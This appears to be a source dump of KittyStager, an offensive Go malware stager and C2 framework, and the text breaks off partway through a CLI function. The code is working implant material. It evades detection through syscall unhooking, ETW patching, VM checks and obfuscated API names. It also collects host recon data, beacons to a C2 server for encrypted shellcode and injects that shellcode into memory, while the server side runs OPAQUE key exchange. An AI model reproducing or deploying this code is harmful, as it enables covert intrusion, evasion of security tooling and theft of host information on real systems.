bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode) 39 | //resolve the functions and extract the syscalls 40 | alloc, _ := bp.GetSysID(string([]byte{'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})) 41 | protect, _ := bp.GetSysID(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})) 42 | createthread, _ := bp.GetSysID(string([]byte{'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x'})) 43 | waitForSingleObject, _ := bp.GetSysID(string([]byte{'N', 't', 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't'})) 44 | 45 | createThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread, waitForSingleObject) 46 | } 47 | 48 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid, NtWaitForSingleObject uint16) { 49 | malwareUtil.EtwPatch(handle) 50 | var baseA uintptr 51 | regionsize := uintptr(len(shellcode)) 52 | bananaphone.Syscall( 53 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory 54 | handle, 55 | uintptr(unsafe.Pointer(&baseA)), 56 | 0, 57 | uintptr(unsafe.Pointer(®ionsize)), 58 | uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), 59 | windows.PAGE_READWRITE, 60 | ) 61 | fmt.Println("Allocated memory at", baseA) 62 | //write memory 63 | //bananaphone.WriteMemory(shellcode, baseA) 64 | malwareUtil.Memcpy(baseA, shellcode) 65 | fmt.Println("Wrote shellcode to memory") 66 | var oldprotect uintptr 67 | bananaphone.Syscall( 68 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory 69 | handle, 70 | uintptr(unsafe.Pointer(&baseA)), 71 | uintptr(unsafe.Pointer(®ionsize)), 72 | windows.PAGE_EXECUTE_READ, 73 | uintptr(unsafe.Pointer(&oldprotect)), 74 | ) 75 | fmt.Println("Changed memory protection to PAGE_EXECUTE_READ") 76 | var hhosthread uintptr 77 | bananaphone.Syscall( 78 | NtCreateThreadExSysid, //NtCreateThreadEx 79 | uintptr(unsafe.Pointer(&hhosthread)), //hthread 80 | 0x1FFFFF, //desiredaccess 81 | 0, //objattributes 82 | handle, //processhandle 83 | baseA, //lpstartaddress 84 | 0, //lpparam 85 | uintptr(0), //createsuspended 86 | 0, //zerobits 87 | 0, //sizeofstackcommit 88 | 0, //sizeofstackreserve 89 | 0, //lpbytesbuffer 90 | ) 91 | fmt.Println("Created thread at", hhosthread) 92 | bananaphone.Syscall(NtWaitForSingleObject, hhosthread, uintptr(0xffffffff), 0) 93 | } 94 | -------------------------------------------------------------------------------- /kittens/recycleKitten/recycleKitten.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "KittyStager/cmd/malwareUtil" 5 | "KittyStager/cmd/util" 6 | "crypto/sha1" 7 | _ "embed" 8 | "fmt" 9 | gabh "github.com/timwhitez/Doge-Gabh/pkg/Gabh" 10 | "golang.org/x/sys/windows" 11 | "syscall" 12 | "unsafe" 13 | ) 14 | 15 | //go:embed conf.txt 16 | var t string 17 | 18 | // Shellcode injection comes from this repo 19 | // https://github.com/timwhitez/Doge-Gabh/blob/main/example/RecycledGate/popcalc/popcalc.go 20 | 21 | func main() { 22 | if malwareUtil.VmCheck() { 23 | return 24 | } 25 | malConf, err := util.MalConfUnmarshalJSON([]byte(t)) 26 | if err != nil { 27 | return 28 | } 29 | shellcode := malwareUtil.Connect(malConf) 30 | inject(shellcode) 31 | } 32 | 33 | func inject(shellcode []byte) { 34 | var thisThread = uintptr(0xffffffffffffffff) 35 | alloc, _ := gabh.MemHgate(str2sha1(string([]byte{'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})), str2sha1) 36 | protect, _ := gabh.MemHgate(str2sha1(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})), str2sha1) 37 | createthread, _ := gabh.MemHgate(str2sha1(string([]byte{'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x'})), str2sha1) 38 | pWaitForSingleObject := syscall.NewLazyDLL("kernel32.dll").NewProc("WaitForSingleObject").Addr() 39 | createThread(shellcode, thisThread, alloc, protect, createthread, uint64(pWaitForSingleObject)) 40 | 41 | } 42 | 43 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16, pWaitForSingleObject uint64) { 44 | malwareUtil.EtwPatch(handle) 45 | var hashhooked []string 46 | var baseA uintptr 47 | regionsize := uintptr(len(shellcode)) 48 | 49 | callAddr := gabh.GetRecyCall("", hashhooked, str2sha1) 50 | 51 | r1, r := gabh.ReCycall( 52 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory 53 | callAddr, 54 | handle, 55 | uintptr(unsafe.Pointer(&baseA)), 56 | 0, 57 | uintptr(unsafe.Pointer(®ionsize)), 58 | uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), 59 | windows.PAGE_READWRITE, 60 | ) 61 | if r != nil { 62 | fmt.Printf("1 %s %x\n", r, r1) 63 | return 64 | } 65 | 66 | //copy shellcode 67 | malwareUtil.Memcpy(baseA, shellcode) 68 | 69 | var oldprotect uintptr 70 | callAddr = gabh.GetRecyCall("NtDelayExecution", nil, nil) 71 | 72 | r1, r = gabh.ReCycall( 73 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory 74 | callAddr, 75 | handle, 76 | uintptr(unsafe.Pointer(&baseA)), 77 | uintptr(unsafe.Pointer(®ionsize)), 78 | syscall.PAGE_EXECUTE_READ, 79 | uintptr(unsafe.Pointer(&oldprotect)), 80 | ) 81 | if r != nil { 82 | fmt.Printf("1 %s %x\n", r, r1) 83 | return 84 | } 85 | 86 | var hhosthread uintptr 87 | callAddr = gabh.GetRecyCall("", nil, nil) 88 | 89 | r1, r = gabh.ReCycall( 90 | NtCreateThreadExSysid, //NtCreateThreadEx 91 | callAddr, 92 | uintptr(unsafe.Pointer(&hhosthread)), //hthread 93 | 0x1FFFFF, //desiredaccess 94 | 0, //objattributes 95 | handle, //processhandle 96 | baseA, //lpstartaddress 97 | 0, //lpparam 98 | uintptr(0), //createsuspended 99 | 0, //zerobits 100 | 0, //sizeofstackcommit 101 | 0, //sizeofstackreserve 102 | 0, //lpbytesbuffer 103 | ) 104 | syscall.Syscall(uintptr(pWaitForSingleObject), 2, hhosthread, 0xffffffff, 0) 105 | if r != nil { 106 | fmt.Printf("1 %s %x\n", r, r1) 107 | return 108 | } 109 | } 110 | 111 | func str2sha1(s string) string { 112 | h := sha1.New() 113 | h.Write([]byte(s)) 114 | bs := h.Sum(nil) 115 | return fmt.Sprintf("%x", bs) 116 | } 117 | -------------------------------------------------------------------------------- /cmd/http/opaque.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "KittyStager/cmd/crypto" 5 | "KittyStager/cmd/util" 6 | "encoding/base64" 7 | "encoding/json" 8 | "fmt" 9 | "github.com/frekui/opaque" 10 | color "github.com/logrusorgru/aurora" 11 | "io" 12 | "net/http" 13 | ) 14 | 15 | var currentUser string 16 | var session1 *opaque.PwRegServerSession 17 | var session2 *opaque.AuthServerSession 18 | 19 | // regHandler1 is the first step of the OPAQUE registration protocol 20 | func regHandler1(w http.ResponseWriter, r *http.Request) { 21 | userAgent := r.UserAgent() 22 | //check if the user agent is correct 23 | if userAgent != userA { 24 | w.WriteHeader(404) 25 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent)) 26 | return 27 | } 28 | data1, err := io.ReadAll(r.Body) 29 | if err != nil { 30 | util.ErrPrint(err) 31 | return 32 | } 33 | var msg1 opaque.PwRegMsg1 34 | if err := json.Unmarshal(data1, &msg1); err != nil { 35 | util.ErrPrint(err) 36 | return 37 | } 38 | var msg2 opaque.PwRegMsg2 39 | session1, msg2, err = opaque.PwReg1(PrivS, msg1) 40 | if err != nil { 41 | util.ErrPrint(err) 42 | return 43 | } 44 | data2, err := json.Marshal(msg2) 45 | if err != nil { 46 | util.ErrPrint(err) 47 | return 48 | } 49 | _, err = w.Write(data2) 50 | if err != nil { 51 | util.ErrPrint(err) 52 | return 53 | } 54 | } 55 | 56 | // regHandler2 is the second step of the OPAQUE registration protocol 57 | func regHandler2(w http.ResponseWriter, r *http.Request) { 58 | userAgent := r.UserAgent() 59 | //check if the user agent is correct 60 | if userAgent != userA { 61 | w.WriteHeader(404) 62 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent)) 63 | return 64 | } 65 | data3, err := io.ReadAll(r.Body) 66 | if err != nil { 67 | util.ErrPrint(err) 68 | return 69 | } 70 | var msg3 opaque.PwRegMsg3 71 | if err := json.Unmarshal(data3, &msg3); err != nil { 72 | util.ErrPrint(err) 73 | return 74 | } 75 | user := opaque.PwReg3(session1, msg3) 76 | _, err = w.Write([]byte("ok")) 77 | if err != nil { 78 | util.ErrPrint(err) 79 | return 80 | } 81 | fmt.Printf("\n%s %s\n", color.Green("[+] Opaque registration request for user :"), color.Yellow(user.Username)) 82 | Targets[user.Username] = &Kitten{ 83 | Name: user.Username, 84 | Opaque: user, 85 | } 86 | currentUser = user.Username 87 | } 88 | 89 | // authHandler1 is the first step of the OPAQUE authentication protocol 90 | func authHandler1(w http.ResponseWriter, r *http.Request) { 91 | userAgent := r.UserAgent() 92 | //check if the user agent is correct 93 | if userAgent != userA { 94 | w.WriteHeader(404) 95 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent)) 96 | return 97 | } 98 | data1, err := io.ReadAll(r.Body) 99 | if err != nil { 100 | util.ErrPrint(err) 101 | return 102 | } 103 | var msg1 opaque.AuthMsg1 104 | if err := json.Unmarshal(data1, &msg1); err != nil { 105 | return 106 | } 107 | 108 | fmt.Printf("%s %s\n", color.Green("[+] Opaque authentication request for user :"), color.Yellow(msg1.Username)) 109 | 110 | _, ok := Targets[msg1.Username] 111 | if !ok { 112 | fmt.Println("No such user") 113 | return 114 | } 115 | user := Targets[msg1.Username].Opaque 116 | var msg2 opaque.AuthMsg2 117 | session2, msg2, err = opaque.Auth1(PrivS, user, msg1) 118 | if err != nil { 119 | util.ErrPrint(err) 120 | return 121 | } 122 | data2, err := json.Marshal(msg2) 123 | if err != nil { 124 | util.ErrPrint(err) 125 | return 126 | } 127 | _, err = w.Write(data2) 128 | if err != nil { 129 | util.ErrPrint(err) 130 | return 131 | } 132 | } 133 | 134 | // authHandler2 is the second step of the OPAQUE authentication protocol 135 | func authHandler2(w http.ResponseWriter, r *http.Request) { 136 | userAgent := r.UserAgent() 137 | //check if the user agent is correct 138 | if userAgent != userA { 139 | w.WriteHeader(404) 140 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent)) 141 | return 142 | } 143 | data3, err := io.ReadAll(r.Body) 144 | if err != nil { 145 | util.ErrPrint(err) 146 | return 147 | } 148 | var msg3 opaque.AuthMsg3 149 | if err := json.Unmarshal(data3, &msg3); err != nil { 150 | return 151 | } 152 | sharedSecret, err := opaque.Auth3(session2, msg3) 153 | if err != nil { 154 | util.ErrPrint(err) 155 | return 156 | } 157 | _, err = w.Write([]byte("ok")) 158 | if err != nil { 159 | util.ErrPrint(err) 160 | return 161 | } 162 | key := sharedSecret[:16] 163 | keyB64 := base64.StdEncoding.EncodeToString(key) 164 | // generate a 32 byte key 165 | key32 := crypto.GenerateKey(keyB64, 32) 166 | fmt.Printf("%s %s\n", color.Green("[+] Opaque key :"), color.Yellow(keyB64)) 167 | Targets[currentUser].SetKey(key32) 168 | } 169 | -------------------------------------------------------------------------------- /cmd/malwareUtil/conUtil.go: -------------------------------------------------------------------------------- 1 | package malwareUtil 2 | 3 | import ( 4 | "KittyStager/cmd/crypto" 5 | "KittyStager/cmd/util" 6 | "bytes" 7 | b64 "encoding/base64" 8 | "encoding/hex" 9 | "encoding/json" 10 | "fmt" 11 | _ "github.com/fourcorelabs/wintoken" 12 | "io" 13 | "math/rand" 14 | "net" 15 | "net/http" 16 | "os" 17 | "strconv" 18 | "time" 19 | ) 20 | 21 | var ( 22 | sleepTime int 23 | body []byte 24 | ) 25 | 26 | // Connect is the function that connects to the C2 and gets the shellcode 27 | func Connect(malConf *util.MalConf) []byte { 28 | var err error 29 | //get the shellcode by http 30 | sleepTime = malConf.GetSleep() 31 | if err != nil { 32 | return nil 33 | } 34 | //initial recon 35 | host := recon() 36 | initChecks, err := util.InitUnmarshalJSON(host) 37 | if err != nil { 38 | return nil 39 | } 40 | cookieName := b64.StdEncoding.EncodeToString([]byte(initChecks.GetKittenName())) 41 | malConf.SetCookie(cookieName) 42 | //generate random password 43 | password := generatePassword(10) 44 | //check if server is reachable 45 | for { 46 | _, err = getRequest(malConf) 47 | if err == nil { 48 | break 49 | } 50 | sleep(sleepTime) 51 | } 52 | err = doPwreg(initChecks.GetKittenName(), password, malConf) 53 | if err != nil { 54 | return nil 55 | } 56 | key, err := doAuth(initChecks.GetKittenName(), password, malConf) 57 | //Initial callback 58 | data, _ := crypto.Encrypt(host, key) 59 | body, err = postRequest(data, malConf, malConf.GetEndPoint()) 60 | //initial request 61 | // try to connect to the server 62 | fmt.Println(body) 63 | for { 64 | body, err = getRequest(malConf) 65 | //body, err = malwareUtil.getRequestgetRequestgetRequest(cookieName, conf) 66 | // if the response is not a shellcode, sleep and try again 67 | if len(body) == 0 { 68 | sleep(sleepTime) 69 | } else { 70 | hexSc, err := crypto.Decrypt(body, []byte(key)) 71 | if err != nil { 72 | return nil 73 | } 74 | task, err := util.TaskUnmarshalJSON(hexSc) 75 | if err != nil { 76 | return nil 77 | } 78 | switch task.Tag { 79 | case "shellcode": 80 | shellcode, _ := hex.DecodeString(string(task.Payload)) 81 | //inject the shellcode 82 | return shellcode 83 | case "sleep": 84 | sleepTime, err = strconv.Atoi(string(task.Payload)) 85 | if err != nil { 86 | return nil 87 | } 88 | sleep(sleepTime) 89 | } 90 | } 91 | } 92 | } 93 | 94 | // recon does some basic recon on the target 95 | func recon() []byte { 96 | iniCheck := util.NewInitialChecks() 97 | // get machine name 98 | hostname, err := os.Hostname() 99 | if err != nil { 100 | hostname = "unknown" 101 | } 102 | iniCheck.SetHostname(hostname) 103 | //get username 104 | iniCheck.SetUsername(os.Getenv("USERNAME")) 105 | //get domain 106 | iniCheck.SetDomain(os.Getenv("USERDOMAIN")) 107 | //get local ip 108 | iniCheck.Ip = getLocalIP() 109 | //get kittenName 110 | iniCheck.SetKittenName(generateName(4)) 111 | //get Programe Files 112 | dir, _ := os.ReadDir("C:\\Program Files") 113 | for _, file := range dir { 114 | iniCheck.SetDir(append(iniCheck.Dir, file.Name())) 115 | } 116 | dir86, _ := os.ReadDir("C:\\Program Files (x86)") 117 | for _, file := range dir86 { 118 | iniCheck.SetDir(append(iniCheck.Dir, file.Name())) 119 | } 120 | //process 121 | //pid 122 | iniCheck.SetPid(os.Getpid()) 123 | //process name 124 | iniCheck.SetPName(os.Args[0]) 125 | //current path 126 | currentPath, _ := os.Getwd() 127 | iniCheck.SetPath(currentPath) 128 | j, _ := json.Marshal(iniCheck) 129 | return j 130 | } 131 | 132 | // https://stackoverflow.com/questions/23558425/how-do-i-get-the-local-ip-address-in-go 133 | // getLocalIP gets the local IP address of the machine 134 | func getLocalIP() string { 135 | conn, err := net.Dial("udp", "100.100.100.100:3480") 136 | if err != nil { 137 | return "" 138 | } 139 | defer conn.Close() 140 | localAddr := conn.LocalAddr().(*net.UDPAddr).IP.String() 141 | return localAddr 142 | } 143 | 144 | // generateName generates a random name for the kittens 145 | func generateName(l int) string { 146 | letters := []rune("ABCDEFGHIJKLMNOPQRSTUVWXYZ") 147 | s1 := rand.NewSource(time.Now().UnixNano()) 148 | r1 := rand.New(s1) 149 | b := make([]rune, l) 150 | for i := range b { 151 | b[i] = letters[r1.Intn(len(letters))] 152 | } 153 | return string(b) 154 | } 155 | 156 | // generatePassword generates a random password for the kittens 157 | func generatePassword(l int) string { 158 | letters := []rune("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789£$%^&*()_+") 159 | s1 := rand.NewSource(time.Now().UnixNano()) 160 | r1 := rand.New(s1) 161 | b := make([]rune, l) 162 | for i := range b { 163 | b[i] = letters[r1.Intn(len(letters))] 164 | } 165 | return string(b) 166 | } 167 | 168 | // getRequest does a get request to the C2 169 | func getRequest(conf *util.MalConf) ([]byte, error) { 170 | var body []byte 171 | c := http.Client{Timeout: time.Duration(3) * time.Second} 172 | target := fmt.Sprintf("%s%s", conf.GetHost(), conf.GetEndPoint()) 173 | req, err := http.NewRequest("GET", target, nil) 174 | if err != nil { 175 | return body, err 176 | } 177 | req.Header.Add("User-Agent", conf.GetUserA()) 178 | if conf.GetCookie() != "" { 179 | req.Header.Add("Cookie", conf.GetCookie()) 180 | } 181 | resp, err := c.Do(req) 182 | if err != nil { 183 | return nil, err 184 | } 185 | body, err = io.ReadAll(resp.Body) 186 | if err != nil { 187 | return body, err 188 | } 189 | return body, nil 190 | } 191 | 192 | // postRequest does a post request to the C2 193 | func postRequest(cont []byte, conf *util.MalConf, endpoint string) ([]byte, error) { 194 | var body []byte 195 | target := fmt.Sprintf("%s%s", conf.GetHost(), endpoint) 196 | c := http.Client{Timeout: time.Duration(3) * time.Second} 197 | req, err := http.NewRequest("POST", target, bytes.NewBuffer(cont)) 198 | if err != nil { 199 | return body, err 200 | } 201 | req.Header.Add("User-Agent", conf.GetUserA()) 202 | if conf.GetCookie() != "" { 203 | req.Header.Add("Cookie", conf.GetCookie()) 204 | } 205 | resp, err := c.Do(req) 206 | if err != nil { 207 | return nil, err 208 | } 209 | body, err = io.ReadAll(resp.Body) 210 | if err != nil { 211 | return body, err 212 | } 213 | return body, nil 214 | } 215 | 216 | // sleep sleeps for a given amount of time 217 | func sleep(t int) { 218 | time.Sleep(time.Duration(t) * time.Second) 219 | } 220 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= 2 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak= 3 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= 4 | github.com/C-Sto/BananaPhone v0.0.0-20220322014042-1265045cb6c5 h1:gdE9IHf9tD2iVOeFBOFFt/W2EuGW0B83nkwqojW4k2w= 5 | github.com/C-Sto/BananaPhone v0.0.0-20220322014042-1265045cb6c5/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA= 6 | github.com/JoaoDanielRufino/go-input-autocomplete v1.0.4 h1:ZsgP08f77C1Hizi5pfB9xNBG+d605s0z+PWuI5KLEEk= 7 | github.com/JoaoDanielRufino/go-input-autocomplete v1.0.4/go.mod h1:tB42IGOd4W3hzlAcw8JWf0mMnu94q4tPsjhT24MbcB4= 8 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= 9 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE= 10 | github.com/briandowns/spinner v1.19.0 h1:s8aq38H+Qju89yhp89b4iIiMzMm8YN3p6vGpwyh/a8E= 11 | github.com/briandowns/spinner v1.19.0/go.mod h1:mQak9GHqbspjC/5iUx3qMlIho8xBS/ppAL/hX5SmPJU= 12 | github.com/c-bata/go-prompt v0.2.6 h1:POP+nrHE+DfLYx370bedwNhsqmpCUynWPxuHi0C5vZI= 13 | github.com/c-bata/go-prompt v0.2.6/go.mod h1:/LMAke8wD2FsNu9EXNdHxNLbd9MedkPnCdfpU9wwHfY= 14 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807 h1:jdjd5e68T4R/j4PWxfZqcKY8KtT9oo8IPNVuV4bSXDQ= 15 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807/go.mod h1:Xoiu5VdKMvbRgHuY7+z64lhu/7lvax/22nzASF6GrO8= 16 | github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= 17 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= 18 | github.com/fourcorelabs/wintoken v1.0.0 h1:dskUYLAFHNy1cbS5MXsNFXauQzxieTrZlffQZ0Yu19I= 19 | github.com/fourcorelabs/wintoken v1.0.0/go.mod h1:jKyXHt079W09KwEMbUC9g+R2KDs5kVvSKPUiF5p0ejs= 20 | github.com/frekui/opaque v0.2.0 h1:4fnvurwf29m6amvDbLj2OONkTE3o7OnqZ9xb/MRv/sE= 21 | github.com/frekui/opaque v0.2.0/go.mod h1:KKYz1SZbbHhW7jVnI9F8mSVNxG6zjTVwJWzcCRXeGXM= 22 | github.com/go-test/deep v1.0.1 h1:UQhStjbkDClarlmv0am7OXXO4/GaPdCGiUiMTvi28sg= 23 | github.com/go-test/deep v1.0.1/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= 24 | github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= 25 | github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= 26 | github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 27 | github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 28 | github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 29 | github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U= 30 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 31 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= 32 | github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= 33 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 34 | github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= 35 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 36 | github.com/mattn/go-runewidth v0.0.6/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 37 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 38 | github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= 39 | github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= 40 | github.com/mattn/go-tty v0.0.3 h1:5OfyWorkyO7xP52Mq7tB36ajHDG5OHrmBGIS/DtakQI= 41 | github.com/mattn/go-tty v0.0.3/go.mod h1:ihxohKRERHTVzN+aSVRwACLCeqIoZAWpoICkkvrWyR0= 42 | github.com/pkg/term v1.2.0-beta.2 h1:L3y/h2jkuBVFdWiJvNfYfKmzcCnILw7mJWm2JQuMppw= 43 | github.com/pkg/term v1.2.0-beta.2/go.mod h1:E25nymQcrSllhX42Ok8MRm1+hyBdHY0dCeiKZ9jpNGw= 44 | github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= 45 | github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= 46 | github.com/timwhitez/Doge-Gabh v1.9.2 h1:DcBzoTlcIbwtSg8Q6ubEU57qBo0fSGEamGx7hxAVwow= 47 | github.com/timwhitez/Doge-Gabh v1.9.2/go.mod h1:17QoN89jMf75zSSsk65bjx4+tmkR2NfWAyV3YT9Fhfc= 48 | golang.org/x/crypto v0.0.0-20181112202954-3d3f9f413869/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= 49 | golang.org/x/crypto v0.1.0 h1:MDRAIl0xIo9Io2xV565hzXHw3zVseKrJKodhohM5CjU= 50 | golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= 51 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 52 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 53 | golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 54 | golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 55 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 56 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 57 | golang.org/x/sys v0.0.0-20200806125547-5acd03effb82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 58 | golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 59 | golang.org/x/sys v0.0.0-20200909081042-eff7692f9009/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 60 | golang.org/x/sys v0.0.0-20200918174421-af09f7315aff/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 61 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 62 | golang.org/x/sys v0.1.0 h1:kunALQeHf1/185U1i0GOB/fy1IPRDDpuoOOqRReG57U= 63 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 64 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 65 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 66 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 67 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 68 | -------------------------------------------------------------------------------- /cmd/cli/util.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "KittyStager/cmd/config" 5 | "KittyStager/cmd/generate" 6 | "KittyStager/cmd/http" 7 | "KittyStager/cmd/util" 8 | "fmt" 9 | i "github.com/JoaoDanielRufino/go-input-autocomplete" 10 | "github.com/briandowns/spinner" 11 | color "github.com/logrusorgru/aurora" 12 | "strconv" 13 | "strings" 14 | "time" 15 | ) 16 | 17 | // payload chose the payload to use 18 | func payload(kittenName string) { 19 | fmt.Printf("%s\n", color.Yellow("[*] Please enter the path to the payload")) 20 | var path string 21 | path, err := i.Read("Path: ") 22 | if err != nil { 23 | util.ErrPrint(err) 24 | return 25 | } 26 | if path == "" { 27 | fmt.Printf("%s\n", color.Red("[!] Please enter a path")) 28 | return 29 | } 30 | if strings.HasSuffix(path, ".dll") { 31 | fmt.Printf("%s\n", color.Yellow("[*] Please enter the entry point")) 32 | var function string 33 | function, err = i.Read("Entry: ") 34 | if err != nil { 35 | 